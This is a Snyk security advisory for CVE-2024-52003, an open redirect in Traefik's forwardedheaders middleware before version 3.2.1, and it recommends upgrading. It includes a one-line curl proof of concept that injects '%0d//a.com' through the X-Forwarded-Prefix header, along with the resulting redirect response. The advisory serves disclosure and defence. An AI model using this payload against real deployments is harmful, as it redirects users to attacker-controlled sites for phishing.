Open Redirect Affecting github.com/traefik/traefik/v3/pkg/middlewares/forwardedheaders package, versions <3.2.1


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.05% (18th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Open Redirect vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-GOLANG-GITHUBCOMTRAEFIKTRAEFIKV3PKGMIDDLEWARESFORWARDEDHEADERS-8445273
  • published1 Dec 2024
  • disclosed29 Nov 2024
  • creditkunte0

Introduced: 29 Nov 2024

NewCVE-2024-52003  (opens in a new tab)
CWE-601  (opens in a new tab)

How to fix?

Upgrade github.com/traefik/traefik/v3/pkg/middlewares/forwardedheaders to version 3.2.1 or higher.

Overview

Affected versions of this package are vulnerable to Open Redirect via the X-Forwarded-Prefix header due to improper input validation.

PoC

curl -v 'http://traefik.localhost' -H 'X-Forwarded-Prefix: %0d//a.com'
[...]
> HTTP/1.1 302 Found
> Location: //a.com/dashboard/

CVSS Scores

version 4.0
version 3.1